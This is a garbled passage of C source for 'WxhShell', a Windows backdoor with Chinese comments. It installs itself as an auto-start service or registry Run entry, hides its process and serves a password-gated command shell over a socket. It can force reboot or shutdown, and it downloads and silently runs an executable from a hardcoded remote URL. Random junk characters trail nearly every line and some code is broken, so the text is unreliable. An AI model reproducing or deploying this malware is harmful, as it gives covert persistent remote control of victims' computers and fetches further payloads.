    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #wI}93E  
    if(Boot(SHUTDOWN)) ?T/]w-q>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YQn<CjZ8af  
    else { "XR=P> xk  
    closesocket(wsh); +?$J8Paf  
    ExitThread(0); *Jd"3Si/  
    } _&uJE&xl}  
    break; #i[:oC6m:  
    } H#~gx_^U  
  // 获取shell ,~1'L6Ri?  
  case 's': { )*~A|[  
    CmdShell(wsh); 1f`De`zXzr  
    closesocket(wsh); v;x0=I&%  
    ExitThread(0); m2c'r3UEu  
    break; @- STo/  
  } qq/>E*~  
  // 退出 d:@+dS  
  case 'x': { <+_XGOt0<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >R+-mP!nj  
    CloseIt(wsh); cb|+6m~  
    break; ABN4kM>%  
    } tk&AZb,sP  
  // 离开 ;xZ+1 zmL0  
  case 'q': { _MBhwNBxZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {p +&Q|  
    closesocket(wsh); )G/bP!^+(  
    WSACleanup(); Q":_\inF  
    exit(1); m/KaWrw/)  
    break; BNfj0e5b  
        } )`DVPudiy  
  } HwUaaK   
  } ?woL17Gt  
wa"0`a:`;  
  // 提示信息 L  ;L:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [';o -c"!  
} x>yqEdR=o  
  } x+X@&S  
r#sg5aS7O|  
  return; jeu'K vhe  
} aZN?V}^+  
FDMQ Lxf  
// shell模块句柄 Zhfp>D  
int CmdShell(SOCKET sock) 0D(8-H  
{ OS(`H5D  
STARTUPINFO si; .z>/A /&+  
ZeroMemory(&si,sizeof(si)); B\J[O5},  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; + [w 0;W_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e~]P _53  
PROCESS_INFORMATION ProcessInfo; I-]G{  
char cmdline[]="cmd"; T: za},-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); . g#}2:3  
  return 0; 4uXGp sL  
} K4Q{U@ZJ  
>w3C Ku<  
// 自身启动模式 h4hAzFQ.s  
int StartFromService(void) ?"yjgt7+y  
{ !j6 k]BgZ  
typedef struct LT%~C uf  
{ MhMiSsZ  
  DWORD ExitStatus; o?baiOkH  
  DWORD PebBaseAddress; . >"xp6  
  DWORD AffinityMask; '12m4quO  
  DWORD BasePriority; Hn/t'D3  
  ULONG UniqueProcessId; E`)e ;^  
  ULONG InheritedFromUniqueProcessId; Z",0 $Gxu  
}   PROCESS_BASIC_INFORMATION; 1=5"j]0hY  
O*u   
PROCNTQSIP NtQueryInformationProcess; %J*1F  
Q9bnOvKe|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xA3_W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n!4}Hwz!  
)I%M]K]F  
  HANDLE             hProcess; +~V%R{h  
  PROCESS_BASIC_INFORMATION pbi; T<uX[BO-a  
S Qmn*CW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {!I`EN]  
  if(NULL == hInst ) return 0; OxJ HhF  
o,i_py  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @K"$M>n$Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OX;bA^+}P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O60T.MM`  
=[n !3M+X  
  if (!NtQueryInformationProcess) return 0; #wyceEa  
zJXZ0yRT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (%^C}`|EA  
  if(!hProcess) return 0; nAP*w6m0j  
K_M Ed1l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g2f"tu_/%  
(Yy#:r;U  
  CloseHandle(hProcess); qsj$u-xhX  
 L` [iI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gW~YB2 $  
if(hProcess==NULL) return 0; a!o%x  
rCo}^M4Pb  
HMODULE hMod; b'O/u."O  
char procName[255]; [r2V+b.C  
unsigned long cbNeeded; >l0Qd1   
fHaF9o+/b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (Nzh1ul\}  
Ic3a\FTr\  
  CloseHandle(hProcess); ^iH[ 22 b4  
K"l~bFCZ8  
if(strstr(procName,"services")) return 1; // 以服务启动 4zs0+d +  
3ML^ dZ'  
  return 0; // 注册表启动 ?8753{wk  
} %g?M?D8Ud3  
v} !lx)#  
// 主模块 %RW*gUvc]  
int StartWxhshell(LPSTR lpCmdLine) (\qf>l+*  
{ 5B~]%_gZr  
  SOCKET wsl; ^qL<=UC.  
BOOL val=TRUE; gPn0-)<  
  int port=0; +=W(c8~P  
  struct sockaddr_in door; BiU>h.4=\(  
_#~D{91 j:  
  if(wscfg.ws_autoins) Install(); H7uh"/A  
HDhkg-QC  
port=atoi(lpCmdLine); PVi;h%>Y  
%|4Kak]:Q  
if(port<=0) port=wscfg.ws_port; 3=wcA/"!  
)7NK+k  
  WSADATA data; /K2[`+-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =o~mZ/ 7=M  
c6jVx_tt.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `"~GqFwy~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |ghyH  
  door.sin_family = AF_INET; 0s8fF"$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :H>I`)bw  
  door.sin_port = htons(port); I*3 >>VN  
[#!Y7Ede  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /sYr?b!/<6  
closesocket(wsl); 8}BM`@MG  
return 1; 1#L%Q(G  
} P:Q&lnC  
dOaOWMrfdf  
  if(listen(wsl,2) == INVALID_SOCKET) { [m! P(o  
closesocket(wsl); e>_a (  
return 1; sC"w{_D@*4  
} 6# bTlmcg  
  Wxhshell(wsl); otaRA  
  WSACleanup(); zZd.U\"2  
_k}Qe ;  
return 0; #bcZ:D@FC  
0[H />%3O  
} {*;K>%r\o  
P*[wB_^&UP  
// 以NT服务方式启动 E;H9]*x/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pa^_D~  
{ H{*rV>%  
DWORD   status = 0; SDbkPx  
  DWORD   specificError = 0xfffffff; me@`;Q3  
SP<(24zdd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IPTFx )]G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `#ff`j|a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jBEW("4R  
  serviceStatus.dwWin32ExitCode     = 0; o]I8Ghk>/z  
  serviceStatus.dwServiceSpecificExitCode = 0; vMY!Z1.*  
  serviceStatus.dwCheckPoint       = 0; CY=lN5!J  
  serviceStatus.dwWaitHint       = 0; I\Y N!  
KO`dAB F}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ze/\IBd  
  if (hServiceStatusHandle==0) return;  Mp js  
'JgCl'k,  
status = GetLastError(); 4YY!oDN:  
  if (status!=NO_ERROR) CY':'aWfa<  
{ X   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y4N7# 5  
    serviceStatus.dwCheckPoint       = 0; 60n>FQ<  
    serviceStatus.dwWaitHint       = 0; 2WLLI8  
    serviceStatus.dwWin32ExitCode     = status; nWc@ufY  
    serviceStatus.dwServiceSpecificExitCode = specificError; e KuF7Oo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sz|kXk6&9  
    return; }T PyHq"  
  } {\k }:)  
B&7:=t,m(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !Mgo~h"]#  
  serviceStatus.dwCheckPoint       = 0; eU)QoVt  
  serviceStatus.dwWaitHint       = 0; Txl|F\nK`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;Y8>?  
} #I MaN%  
v2r|) c,h  
// 处理NT服务事件,比如:启动、停止 wQ/.3V[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z&c}  
{ Qe!3ae`Z  
switch(fdwControl) ?v:FGO  
{ Z{t `f[  
case SERVICE_CONTROL_STOP: FbMtor  
  serviceStatus.dwWin32ExitCode = 0; LRaO}-<b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !5h8sD;  
  serviceStatus.dwCheckPoint   = 0; g9;s3qXiG  
  serviceStatus.dwWaitHint     = 0; `gC J[  
  { `t9k!y!GV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g[O  
  } 7K&Uu3m  
  return; @@-TW`G7  
case SERVICE_CONTROL_PAUSE: ]ZP!y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 86cnEj=   
  break; L%3Bp/`S  
case SERVICE_CONTROL_CONTINUE: $e4N4e2x/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,cS_687o  
  break; vgDpo@fz8  
case SERVICE_CONTROL_INTERROGATE: ZI4dD.B  
  break; F/1m&1t  
}; o7Z 8O,;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2yFT` 5+H4  
} _E8Cvaob  
uzmYkBv  
// 标准应用程序主函数 ^7i7yM}6(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3P>1-=  
{ Dk$<fMS,7c  
@vib54G  
// 获取操作系统版本 ?7lW@U0  
OsIsNt=GetOsVer(); oa=TlBk<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (~bx%  
zN;P_@U  
  // 从命令行安装 !;vv-v,LQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3G<4rH]  
@PLJ)RL  
  // 下载执行文件 H2Z e\c  
if(wscfg.ws_downexe) { GL-b})yy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }CZw'fhVWO  
  WinExec(wscfg.ws_filenam,SW_HIDE); JC9$"0d7  
} bZAL~z+ V  
IsJx5GO  
if(!OsIsNt) { PJ?C[+&  
// 如果时win9x,隐藏进程并且设置为注册表启动 (C uM*-  
HideProc(); XHdhSFpm  
StartWxhshell(lpCmdLine); f[R~oc5P0  
} bWlY Q  
else _!vy|,w@e  
  if(StartFromService()) @^ti*`  
  // 以服务方式启动 f52P1V]  
  StartServiceCtrlDispatcher(DispatchTable); f9},d1k  
else OAiv3"p  
  // 普通方式启动 JKrS;J^97v  
  StartWxhshell(lpCmdLine); ~b X~_\  
.}Xf<G&  
return 0; yH43Yo#Rk  
} @TXLg2  
%K=_  
'|yCDBu  
@-xvdntx  
=========================================== AOKC1iD%Y  
FIVC~LDd  
k.c.7%|~;  
RP+)sCh  
q &{<HcP  
X's<+hK&  
" #pK" ^O*!  
S-Bx`e9'  
#include <stdio.h> i'>5vU0?3  
#include <string.h> )cP)HbOd=  
#include <windows.h> 4 83rU  
#include <winsock2.h> 'DpJ#w\81  
#include <winsvc.h> q{B?j%.o  
#include <urlmon.h> T*=*$%  
U1lqg?KO  
#pragma comment (lib, "Ws2_32.lib") h9}*_qc&kV  
#pragma comment (lib, "urlmon.lib") mW{>  
W\w#}kY  
#define MAX_USER   100 // 最大客户端连接数 ,p(&G_  
#define BUF_SOCK   200 // sock buffer Ks6\lpr  
#define KEY_BUFF   255 // 输入 buffer /Yg&:@L  
S++~w9}  
#define REBOOT     0   // 重启 Yc_(g0NK  
#define SHUTDOWN   1   // 关机 H=f| X<8  
]b sabS?  
#define DEF_PORT   5000 // 监听端口 mK"s*tD  
to,\n"$~!  
#define REG_LEN     16   // 注册表键长度 Fzt?M  
#define SVC_LEN     80   // NT服务名长度 G-RDQ  
:lvBcFw  
// 从dll定义API idX''%"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GPL%8 YY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RB %y($  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LGZa l&9AY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (*Q:'2e  
%8xRT@Q  
// wxhshell配置信息  |Nj6RB7  
struct WSCFG { C&*1H`n  
  int ws_port;         // 监听端口 [ >\|QS|  
  char ws_passstr[REG_LEN]; // 口令 ]PoWL;E'  
  int ws_autoins;       // 安装标记, 1=yes 0=no B {:a,V7  
  char ws_regname[REG_LEN]; // 注册表键名 0{8L^ jB/  
  char ws_svcname[REG_LEN]; // 服务名 %-.;sO=g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rvd%z7Z1o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !3mt<i]a"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qnj'*]ysBC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |rZMcl/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LfFXYX^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $YcB=l  
w( XZSE  
}; SUUN_w~  
]Zc|<f;  
// default Wxhshell configuration x(eX.>o\  
struct WSCFG wscfg={DEF_PORT, :N$-SV  
    "xuhuanlingzhe", r-.@MbBm  
    1, h"0)spF"d  
    "Wxhshell", u5glKE  
    "Wxhshell", h ! R=t  
            "WxhShell Service", ArNQ}F/  
    "Wrsky Windows CmdShell Service", "2sk1  
    "Please Input Your Password: ", N8#j|yf  
  1, T>L?\-  
  "http://www.wrsky.com/wxhshell.exe", lG94^|U  
  "Wxhshell.exe" A( vdlj  
    }; YE{t?Y\5  
*`Vmncv3  
// 消息定义模块 `V\?YS}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =D Q :0w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \y=oZk4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q^EY?;Y  
char *msg_ws_ext="\n\rExit."; DmLx"%H3  
char *msg_ws_end="\n\rQuit."; |llJ%JhF  
char *msg_ws_boot="\n\rReboot..."; _(kaaWJ  
char *msg_ws_poff="\n\rShutdown..."; 0.n[_?<(  
char *msg_ws_down="\n\rSave to "; W [K.|8ho  
Xw!\,"{s  
char *msg_ws_err="\n\rErr!"; %%uE^nX>  
char *msg_ws_ok="\n\rOK!"; 1d]F$ >  
 NzP71t+  
char ExeFile[MAX_PATH]; t S]  
int nUser = 0; y5m2u8+  
HANDLE handles[MAX_USER]; l&qCgw  
int OsIsNt; _"yA1D0d_  
e}d(.H%l0  
SERVICE_STATUS       serviceStatus; u ij^tN%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RLnL9)`W  
!+^'Ej)z  
// 函数声明 Y`bTf@EP>  
int Install(void); sAL ]N][Y  
int Uninstall(void); 31G0 B_T  
int DownloadFile(char *sURL, SOCKET wsh); Y6 sX|~Zy  
int Boot(int flag); 8iJB'#''*  
void HideProc(void); RK|*yt"f"  
int GetOsVer(void); lYQ|NL():  
int Wxhshell(SOCKET wsl); qclc--fsE  
void TalkWithClient(void *cs); }>0>OqvF  
int CmdShell(SOCKET sock); 4<F z![>  
int StartFromService(void); %(lO>4>|  
int StartWxhshell(LPSTR lpCmdLine); CYW@Km{e  
$%cc[[/U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9 =;mY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4#03x:/<\  
=ZIT!B?4  
// 数据结构和表定义 f=R+]XPzz  
SERVICE_TABLE_ENTRY DispatchTable[] = Wa<<"x$  
{ i!?gga  
{wscfg.ws_svcname, NTServiceMain}, `9J9[!+!`  
{NULL, NULL} \BXzmok  
}; +C{-s  
eNAxVF0  
// 自我安装 $?0ch15/  
int Install(void) IFX$\+-  
{ K ?!qNK  
  char svExeFile[MAX_PATH]; EaO@I.[  
  HKEY key; DdgiY9a.  
  strcpy(svExeFile,ExeFile); 6&eXQl  
:V)jm`)#+  
// 如果是win9x系统,修改注册表设为自启动 cu0IFNF}[  
if(!OsIsNt) { =79R;|5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2(xC|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E s5: S#  
  RegCloseKey(key); 'Be'!9K*d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `)n4I:)2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pj-INc96  
  RegCloseKey(key); \@:,A]  
  return 0; YS9RfK/  
    } NFs5XpZ~  
  } <'I["Um  
} :;7I_tb  
else { fo@^=-4A-  
pD732L@q  
// 如果是NT以上系统,安装为系统服务 9RaO[j`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (G>[A}-  
if (schSCManager!=0) ;[sW\Ou  
{ S }`sp[6  
  SC_HANDLE schService = CreateService d qn5G!fI  
  ( p?:5 U[KM  
  schSCManager, 5:h[%3'bB  
  wscfg.ws_svcname, ~t`s&t'c|  
  wscfg.ws_svcdisp, 5G* cAlU  
  SERVICE_ALL_ACCESS, c[dzO .~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]yU"J:/  
  SERVICE_AUTO_START, }Q/onB t  
  SERVICE_ERROR_NORMAL, AC) M2;  
  svExeFile, jV3PTU  
  NULL, =^nb+}Nz(  
  NULL, _95296  
  NULL, DYD<?._I  
  NULL,  .w9LJ  
  NULL BPba3G9H  
  ); Cl}nP UoL  
  if (schService!=0) Nz,yd%ua  
  { )|F|\6:ne  
  CloseServiceHandle(schService); +T+@g8S  
  CloseServiceHandle(schSCManager); h4? x_"V"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FRBu8WW0L  
  strcat(svExeFile,wscfg.ws_svcname); n{ ;j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )u)=@@k21  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &7aWVKon  
  RegCloseKey(key); i6`"e[aT[o  
  return 0; TC\+>LXiZ  
    } 9)q3cjP{<  
  }  }vd*eexA  
  CloseServiceHandle(schSCManager); SiratkP9n7  
} SA x9cjj+  
} ]k0 jmE  
NK_|h %  
return 1; {m.$EoS  
} <>cS@V5j  
}rTH<! j  
// 自我卸载 ?{{w[U6NE  
int Uninstall(void) |cPHl+$nh.  
{ o\IMYT  
  HKEY key; u epyH  
qLN^9PdEE  
if(!OsIsNt) { 2@&r!Q|1vR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |\5^ub,m  
  RegDeleteValue(key,wscfg.ws_regname); 0lfK} a  
  RegCloseKey(key); >H2`4]4]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vT'Bs;QR  
  RegDeleteValue(key,wscfg.ws_regname); !>8~R2  
  RegCloseKey(key); RK>Pe3<  
  return 0; K7+yU3  
  } WSkGVQu  
} =l ,P'E  
} AlSO  
else { 6OES'3Cy  
'|C3t!H`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n_8[bkbi  
if (schSCManager!=0) >:;dNVz  
{ *z=_sD?1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wbO6Ag@))  
  if (schService!=0) C6_(j48&  
  { ?Ec9rM\ze  
  if(DeleteService(schService)!=0) { RU)35oEV|  
  CloseServiceHandle(schService); Y?VbgOM)  
  CloseServiceHandle(schSCManager); {f!/:bM  
  return 0; ?9b9{c'an  
  }  +]db-  
  CloseServiceHandle(schService); }I"C4'(a  
  } I5$P9UE+^9  
  CloseServiceHandle(schSCManager); t8Zo9q>  
} ^NW[)Dq1<  
} (B7G'h.?  
7io["zW  
return 1; yzA05npTl  
} m7 =$*1k  
GP|=4T}Bf  
// 从指定url下载文件 R$awgSE  
int DownloadFile(char *sURL, SOCKET wsh) IP~!E_e}\  
{ ^4y]7 p  
  HRESULT hr; ;SR ESW  
char seps[]= "/"; ])x1MmRg\  
char *token; j]a$RC#  
char *file; vh9* >[i  
char myURL[MAX_PATH]; =P- &dN  
char myFILE[MAX_PATH]; `+J Fvn!  
1SQATUV  
strcpy(myURL,sURL); gt&|T j  
  token=strtok(myURL,seps); G1"iu8 9d  
  while(token!=NULL) ::L2zVq5V  
  { Nd_fjB  
    file=token; bQAznd0  
  token=strtok(NULL,seps); KaGUpHw  
  } &c`-/8c  
<P9fNBGa  
GetCurrentDirectory(MAX_PATH,myFILE); da{]B5p\  
strcat(myFILE, "\\"); $EMOz=)I#  
strcat(myFILE, file); s:`i~hjq  
  send(wsh,myFILE,strlen(myFILE),0); 85{m+1O~  
send(wsh,"...",3,0); o9?@jjqH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +>w]T\[1~  
  if(hr==S_OK) ]6&NIz`:,  
return 0; \>L,X_DL  
else l?Y^3x}j  
return 1; q>q:ZV  
0bNvmZ$  
} bm588UQ  
+Qs]8*^?;  
// 系统电源模块 >%JPgr/ 8  
int Boot(int flag) :NzJvI<  
{ Ycm)PU["  
  HANDLE hToken; R+sT &d  
  TOKEN_PRIVILEGES tkp; @nxo Bc !P  
#u<Qc T@  
  if(OsIsNt) { MatXhP] Fi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (iIw }f)w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &{iC:zp  
    tkp.PrivilegeCount = 1; qZoDeN-CC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UNI< r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I Mgd2qIC  
if(flag==REBOOT) { p:,Y6[gMo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~Eut_d  
  return 0; ^S#;   
} yTaMlT|  
else { -H1=N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @WJ;T= L  
  return 0; oL4W>b )  
} We+rFk1ddt  
  } fJ,N.O+9E  
  else { 8$Q`wRt(%  
if(flag==REBOOT) { iP/v "g"g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;'!x  
  return 0; A#u U ]S  
} WlL(NrVA@@  
else { l,wlxh$}(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wAMg"ImJ  
  return 0; (su,= Z  
} " T(hcI   
} >nSsbhAe  
SNEhP5!  
return 1; c0Ug5Vr  
} gW, [X(  
 a+h$u  
// win9x进程隐藏模块 PN}+LOD<t  
void HideProc(void) #mH@ /6,#[  
{ bT,:eA  
|@ mz@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _sjS'*]  
  if ( hKernel != NULL ) | %_C$s%  
  { *% -<Ldv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PSrx !  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &\zYbGU  
    FreeLibrary(hKernel); F<4rn  
  } 3)OZf{D[  
#86N !&x  
return; %cNN<x8  
} ;5a$ OM  
mrGV{{.  
// 获取操作系统版本 -15e  
int GetOsVer(void) s8j |>R|k  
{ 5zuwqOD*  
  OSVERSIONINFO winfo; sYTz6-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lR(9;3  
  GetVersionEx(&winfo); MB}nn&u#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M!mL/*G@YE  
  return 1; Q G) s  
  else j:9M${~  
  return 0; HKN|pO3v  
} %V_ XY+o  
dQX-s=XJ  
// 客户端句柄模块 D{9a'0J  
int Wxhshell(SOCKET wsl) egmUUuO  
{ zcpL[@B  
  SOCKET wsh; dg D-"-O  
  struct sockaddr_in client; mY|c7}>V;  
  DWORD myID; sA0 Ho6  
zI88IM7/  
  while(nUser<MAX_USER) <J%qzt}  
{ T/$ gnn  
  int nSize=sizeof(client); QE]@xLz   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l;F"m+B!$  
  if(wsh==INVALID_SOCKET) return 1; ZvY"yl?e  
,%i Scr,z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T2{e 1 =Z7  
if(handles[nUser]==0) V:0IBbh)w  
  closesocket(wsh); }_Bo:*9B-o  
else YOxgpQ:i  
  nUser++; cS&KD@.  
  } O7.V>7Y9H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UlXm4\@  
9~ p;iiKGG  
  return 0; EPo)7<|>  
} Z bRRDXk!  
)1<0c@g=  
// 关闭 socket PW*Vfjf4  
void CloseIt(SOCKET wsh) x;ik   
{ K'OG-fn;  
closesocket(wsh); 'CBwE&AL  
nUser--; wGHft`Z  
ExitThread(0); Q\oa<R D5  
} ~z^l~Vyg?  
|N,^*xP(6  
// 客户端请求句柄 4+olyBht  
void TalkWithClient(void *cs) pEB3 qGA  
{ 8X;?fjl`"  
!~^2Mu(X  
  SOCKET wsh=(SOCKET)cs; g|)>65v  
  char pwd[SVC_LEN]; gx\V)8Zr  
  char cmd[KEY_BUFF]; MmJMx  
char chr[1]; 3Vu}D(PJ  
int i,j; ];.5 *a%*  
D5zc{) /  
  while (nUser < MAX_USER) { 92-Xz6Bo9  
$W._FAAJ#  
if(wscfg.ws_passstr) { -e_fn&2,Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &{)<Q(g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 01Jav~WR  
  //ZeroMemory(pwd,KEY_BUFF); >N3X/8KL%  
      i=0; EeaJUK]z9  
  while(i<SVC_LEN) { ,\`ruWWLb=  
/Pjd"  
  // 设置超时 E2hsSqsu=  
  fd_set FdRead; +Q&l}2  
  struct timeval TimeOut; W3i<Unq  
  FD_ZERO(&FdRead); Rsx6vF8]5  
  FD_SET(wsh,&FdRead);  &_)P)L  
  TimeOut.tv_sec=8; UG vIHm  
  TimeOut.tv_usec=0; R ENCk (  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [gzaOP`f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bbL\xq^  
s'O%@/;J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ft"-  
  pwd=chr[0]; @Y~gdK  
  if(chr[0]==0xd || chr[0]==0xa) { Y XhZWo{B  
  pwd=0; 'O%*:'5k  
  break; HoBx0N9\2  
  } rpk8  
  i++; St;9&A  
    } M]8>5Zx.  
AB=%yM7V*  
  // 如果是非法用户,关闭 socket }#zL)+XI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WO>A55Xya  
} kn#?+Q  
fWP]{z`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cfmwz~S6i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p5In9s  
BDt$s( \  
while(1) { 4Q+,_iP  
eKP >} `  
  ZeroMemory(cmd,KEY_BUFF); |\bNFnn(  
c coi  
      // 自动支持客户端 telnet标准   ~HY)$Yp;  
  j=0; e_-g|ukC  
  while(j<KEY_BUFF) { ]W3u~T*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); df{?E):  
  cmd[j]=chr[0]; n%r>W^2j  
  if(chr[0]==0xa || chr[0]==0xd) { lG6&uMvo  
  cmd[j]=0; lB}?ey   
  break; s.(.OXD&  
  } y9}qB:[bR  
  j++; f y|JE9Io_  
    } hn.(pI1  
*gmc6xY  
  // 下载文件 TJ)Nr*U3_  
  if(strstr(cmd,"http://")) { ->#wDL!6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sta/i?n  
  if(DownloadFile(cmd,wsh)) s-#@t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uNewWtUb(  
  else (R=ZI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hLfWDf*T|  
